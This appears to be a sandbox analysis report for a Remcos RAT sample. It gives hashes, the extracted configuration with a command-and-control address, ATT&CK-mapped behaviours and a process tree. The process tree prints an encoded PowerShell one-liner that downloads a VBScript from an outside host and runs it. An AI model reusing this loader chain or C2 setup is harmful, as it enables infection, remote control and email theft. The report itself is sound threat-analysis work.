remcos | 97fe4d3d9dbd53b1741e6a8dd6f6183dbe0f9d031a1a0c1ef344e6c02c2bcfee

Analysis

max time kernel
149s
max time network
151s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
05/08/2026, 17:16

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
weneedbestthingswithbetterplace.hta
Size 14KB
Sample260805-vtfxdscp31
SHA256 97fe4d3d9dbd53b1741e6a8dd6f6183dbe0f9d031a1a0c1ef344e6c02c2bcfee
MD5 d412a3cf7b6e8042ccb181a5ca707df6
SHA1 c5e84c9484c69e67a5de2ddfa96d2b67b78d1718
SHA512 15a080b2a8473b36e94b63579143d2f1f9850bc13d52eb2f2f8ea368518da990f74d8551186bae3810d764e369ea7b3cb6f49a0004ea520a3f54da5e866fc811
SSDEEP 48:3fXlSYfbWNXle3YfbWc6otfNUhqFuuHh9Glt0khqfXlOXl5aYfbWEXlHPG:vVHqNVeoqWMhsh9GMkh8VOV5/qEVH+
TLSH
T1E062DABCEB80FDC103A761C1995FAE4241947B6BDB116F1CB0CC055A1B55A68CD7E60F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

remotehost collection discovery execution remcos rat

Malware Config

Extracted

Family

remcos

Version

7.2.6 Pro

Botnet

RemoteHost

103.83.87.87:26900

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-4G7TNA
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Family: Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	688	powershell.exe
5	4520	WScript.exe

Accesses Microsoft Outlook profiles 1 TTPs 2 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	aspnet_compiler.exe
Key enumerated	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	aspnet_compiler.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
4520	WScript.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3512 set thread context of 5012	3512	powershell.exe	100

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3512	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5692	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Suspicious behavior: EnumeratesProcesses 41 IoCs

pid	Process
688	powershell.exe
688	powershell.exe
3512	powershell.exe
3512	powershell.exe
3512	powershell.exe
3512	powershell.exe
3512	powershell.exe
3512	powershell.exe
3512	powershell.exe
3512	powershell.exe
3512	powershell.exe
3512	powershell.exe
3512	powershell.exe
3512	powershell.exe
3512	powershell.exe
3512	powershell.exe
3512	powershell.exe
3512	powershell.exe
3512	powershell.exe
3512	powershell.exe
3512	powershell.exe
3512	powershell.exe
3512	powershell.exe
3512	powershell.exe
3512	powershell.exe
3512	powershell.exe
3512	powershell.exe
3512	powershell.exe
3512	powershell.exe
3512	powershell.exe
3512	powershell.exe
3512	powershell.exe
3512	powershell.exe
3512	powershell.exe
3512	powershell.exe
3512	powershell.exe
3512	powershell.exe
3512	powershell.exe
3512	powershell.exe
3512	powershell.exe
3512	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	688	powershell.exe
Token: SeDebugPrivilege	3512	powershell.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 4620 wrote to memory of 5692	4620	mshta.exe	89
PID 5692 wrote to memory of 688	5692	cmd.exe	91
PID 688 wrote to memory of 4520	688	powershell.exe	92
PID 4520 wrote to memory of 3512	4520	WScript.exe	93
PID 3512 wrote to memory of 5276	3512	powershell.exe	95
PID 3512 wrote to memory of 4756	3512	powershell.exe	96
PID 3512 wrote to memory of 3904	3512	powershell.exe	97
PID 3512 wrote to memory of 2720	3512	powershell.exe	98
PID 3512 wrote to memory of 5420	3512	powershell.exe	99
PID 3512 wrote to memory of 5012	3512	powershell.exe	100
PID 3512 wrote to memory of 5012	3512	powershell.exe	100
PID 3512 wrote to memory of 5012	3512	powershell.exe	100
PID 3512 wrote to memory of 5012	3512	powershell.exe	100
PID 3512 wrote to memory of 5012	3512	powershell.exe	100
PID 3512 wrote to memory of 5012	3512	powershell.exe	100
PID 3512 wrote to memory of 5012	3512	powershell.exe	100

outlook_office_path 1 IoCs

description	ioc	Process
Key enumerated	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	aspnet_compiler.exe

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\weneedbestthingswithbetterplace.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4620
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" "/C PoWERsHeLL -Ex BYPAsS -nOP -W 1 -eC IAAJACAAIAAJAAkACQAgACAACQB3AGcAZQB0ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAdIGgAdAB0AHAAOgAvAC8AMgAxADYALgAyADIANQAuADIAMAA2AC4AMwAxAC8ANAA0AC8AYwByAGUAYQB0AGUAZABiAGUAcwB0AG4AYQB0AHUAcgBlAGEAbABzAHkAcwB0AGUAbQBmAG8AcgBiAGUAcwB0AGUAbgB0AGkAZQByAHkAZgBvAHIAbQBlAGIAZQBzAHQALgB2AGIAZQAdICAACQAJAAkACQAJAAkACQAJAAkACQAJAC0ATwBVAFQAZgBJAEwARQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAdICQARQBOAFYAOgBhAHAAcABkAGEAVABBAFwAcgBlAGEAdABlAGQAYgBlAHMAdABuAGEAdAB1AHIAZQBhAGwAcwB5AHMAdABlAG0AZgBvAHIAYgBlAHMAdABlAG4AdABpAGUAcgB5AGYAbwByAG0AZQBiAGUAcwB0AC4AdgBiAGUAHSAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAmACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAB0gJABFAE4AdgA6AGEAcABwAGQAQQBUAEEAXAByAGUAYQB0AGUAZABiAGUAcwB0AG4AYQB0AHUAcgBlAGEAbABzAHkAcwB0AGUAbQBmAG8AcgBiAGUAcwB0AGUAbgB0AGkAZQByAHkAZgBvAHIAbQBlAGIAZQBzAHQALgB2AGIAZQAdIA== "
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5692
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    PoWERsHeLL -Ex BYPAsS -nOP -W 1 -eC IAAJACAAIAAJAAkACQAgACAACQB3AGcAZQB0ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAdIGgAdAB0AHAAOgAvAC8AMgAxADYALgAyADIANQAuADIAMAA2AC4AMwAxAC8ANAA0AC8AYwByAGUAYQB0AGUAZABiAGUAcwB0AG4AYQB0AHUAcgBlAGEAbABzAHkAcwB0AGUAbQBmAG8AcgBiAGUAcwB0AGUAbgB0AGkAZQByAHkAZgBvAHIAbQBlAGIAZQBzAHQALgB2AGIAZQAdICAACQAJAAkACQAJAAkACQAJAAkACQAJAC0ATwBVAFQAZgBJAEwARQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAdICQARQBOAFYAOgBhAHAAcABkAGEAVABBAFwAcgBlAGEAdABlAGQAYgBlAHMAdABuAGEAdAB1AHIAZQBhAGwAcwB5AHMAdABlAG0AZgBvAHIAYgBlAHMAdABlAG4AdABpAGUAcgB5AGYAbwByAG0AZQBiAGUAcwB0AC4AdgBiAGUAHSAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAmACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAB0gJABFAE4AdgA6AGEAcABwAGQAQQBUAEEAXAByAGUAYQB0AGUAZABiAGUAcwB0AG4AYQB0AHUAcgBlAGEAbABzAHkAcwB0AGUAbQBmAG8AcgBiAGUAcwB0AGUAbgB0AGkAZQByAHkAZgBvAHIAbQBlAGIAZQBzAHQALgB2AGIAZQAdIA== "
    3⤵
    - Badlisted process makes network request
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:688
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\reatedbestnaturealsystemforbestentieryformebest.vbe"
      4⤵
      Badlisted process makes network request
      Executes a VBScript file via the Windows Script Host.
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4520
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -ep bypass -file "C:\Temp\JOQRMMHT.ps1"
        5⤵
        Suspicious use of SetThreadContext
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3512
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        6⤵
        
        PID:5276
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        6⤵
        
        PID:4756
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        6⤵
        
        PID:3904
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        6⤵
        
        PID:2720
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        6⤵
        
        PID:5420
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        6⤵
        Accesses Microsoft Outlook profiles
        outlook_office_path
        
        PID:5012

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

JOQRMMHT.ps1

Path C:\Temp\JOQRMMHT.ps1
Size 3.6MB
SHA256 d1aaf73552c77ab6bea5c26e39e7d2d303b395314c3abe7fd426de90463c835d
MD5 a54103514ab8cd9142c2af577bbc55c4
SHA1 620a9d214ddc7ca595cd76fbdc32210c3104b40b
SHA512 da24451b720fd094d54eafe2d6a66fdb5a15bbb4da7558dea91a3c6701f3f1cf0dcaeb357c98d2264ed30f69e47a5d6a682d35666b7c9a3c68760b798ae56fae
SSDEEP 24576:gNippPVCJK48kNM4I9b6RTc8jI1L8ztGcUNnNXVFODRLJxNeSji1CWYesFmLKDxP:S
TLSH
T1270695F922E0DDD5890DC67BFED5D87C22BD5678B86E51E626F921630CC2582CAD8C30
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 16KB
SHA256 2188c2c8656b3dc96dfe004d10756f2c328ba20c6fd7ae537e842572da2bfbdc
MD5 b2015e6dac7e2b5c2250d3b463ee918b
SHA1 d3600b515519739b51ac9b7cd482d91b52b1e300
SHA512 119001a6b2f5204d5df4de6eaa750cf8a335e4eef3edcbbb22d117f3ad237a294cae11e51694bae9d49298c2f5babc94e781efffb111c52279f63d172e0f2a6c
SSDEEP 384:m1TB1G81iIy4bUIns+geCrT0W2jnBIAbs44KXlVatKsevcbhNLA9IS9:mTOUNrXs+cTU9IAbsXK+nhbhNsF9
TLSH
T1EA72A5A8516F6DC7D89122B410D601E7FBA4E08C9F756498FE2BCE2F5C90EBB5B60520
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

reatedbestnaturealsystemforbestentieryformebest.vbe

Path C:\Users\Admin\AppData\Roaming\reatedbestnaturealsystemforbestentieryformebest.vbe
Size 55KB
SHA256 e7cf977ae74e167bd6d3e66ebe168217746428fbcaf5382e045eb9c220e6a0ae
MD5 3b20118c336577b4a0bee91fb441d6f8
SHA1 8c4085524069927c67cd285fade200b68a50de64
SHA512 68ae4ff35ef02aa1e48a88f31e5f775cd0083fb7959839e79b353695b50987122ca793ce5f258f8e2ee5ebc79c0959613234a858d17a06e0353edbd5f3b541ed
SSDEEP 768:fVCyN++/c5TKdvuPDt39RQq2wCT1ay4Fnmw7qivD9z6SldaIXPg0Q:dD/c5Tw6R9FbY48SI0Q
TLSH
T155438778190558D78113BC01D9431AA6CFF8D21326EB1EB9C341A6CA079E7D7C8B6DEB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/688-4-0x0000000004CF0000-0x0000000004D12000-memory.dmp

Download

memory/688-3-0x0000000004D70000-0x00000000053BA000-memory.dmp

Download

memory/688-5-0x00000000054F0000-0x0000000005556000-memory.dmp

Download

memory/688-8-0x0000000005560000-0x00000000055C6000-memory.dmp

Download

memory/688-9-0x00000000057C0000-0x0000000005B1B000-memory.dmp

Download

memory/688-10-0x0000000005770000-0x000000000578E000-memory.dmp

Download

memory/688-11-0x0000000005B40000-0x0000000005B8C000-memory.dmp

Download

memory/688-12-0x0000000007400000-0x0000000007A7C000-memory.dmp

Download

memory/688-13-0x0000000005FF0000-0x000000000600A000-memory.dmp

Download

memory/688-2-0x0000000074D40000-0x00000000754FC000-memory.dmp

Download

memory/688-19-0x0000000074D40000-0x00000000754FC000-memory.dmp

Download

memory/688-0-0x0000000074D52000-0x0000000074D53000-memory.dmp

Download

memory/688-1-0x00000000025D0000-0x0000000002606000-memory.dmp

Download

memory/3512-30-0x0000000011BE0000-0x000000001219A000-memory.dmp

Download

memory/3512-26-0x0000000006770000-0x00000000067BC000-memory.dmp

Download

memory/3512-28-0x0000000011580000-0x0000000011616000-memory.dmp

Download

memory/3512-29-0x00000000071B0000-0x00000000071D2000-memory.dmp

Download

memory/3512-24-0x0000000005CB0000-0x000000000600B000-memory.dmp

Download

memory/3512-31-0x0000000005620000-0x000000000563A000-memory.dmp

Download

memory/5012-40-0x0000000010000000-0x00000000100F7000-memory.dmp

Download

memory/5012-45-0x0000000000400000-0x000000000048D000-memory.dmp

Download

memory/5012-34-0x0000000000400000-0x000000000048D000-memory.dmp

Download

memory/5012-35-0x0000000000400000-0x000000000048D000-memory.dmp

Download

memory/5012-38-0x0000000000400000-0x000000000048D000-memory.dmp

Download

memory/5012-37-0x0000000000400000-0x000000000048D000-memory.dmp

Download

memory/5012-36-0x0000000000400000-0x000000000048D000-memory.dmp

Download

memory/5012-32-0x0000000000400000-0x000000000048D000-memory.dmp

Download

memory/5012-43-0x0000000010000000-0x00000000100F7000-memory.dmp

Download

memory/5012-42-0x0000000010000000-0x00000000100F7000-memory.dmp

Download

memory/5012-44-0x0000000000400000-0x000000000048D000-memory.dmp

Download

memory/5012-33-0x0000000000400000-0x000000000048D000-memory.dmp

Download

memory/5012-46-0x0000000000400000-0x000000000048D000-memory.dmp

Download

memory/5012-49-0x0000000000400000-0x000000000048D000-memory.dmp

Download

memory/5012-48-0x0000000000400000-0x000000000048D000-memory.dmp

Download

memory/5012-51-0x0000000000400000-0x000000000048D000-memory.dmp

Download

memory/5012-50-0x0000000000400000-0x000000000048D000-memory.dmp

Download

memory/5012-52-0x0000000000400000-0x000000000048D000-memory.dmp

Download

memory/5012-53-0x0000000000400000-0x000000000048D000-memory.dmp

Download

memory/5012-55-0x0000000000400000-0x000000000048D000-memory.dmp

Download

memory/5012-54-0x0000000000400000-0x000000000048D000-memory.dmp

Download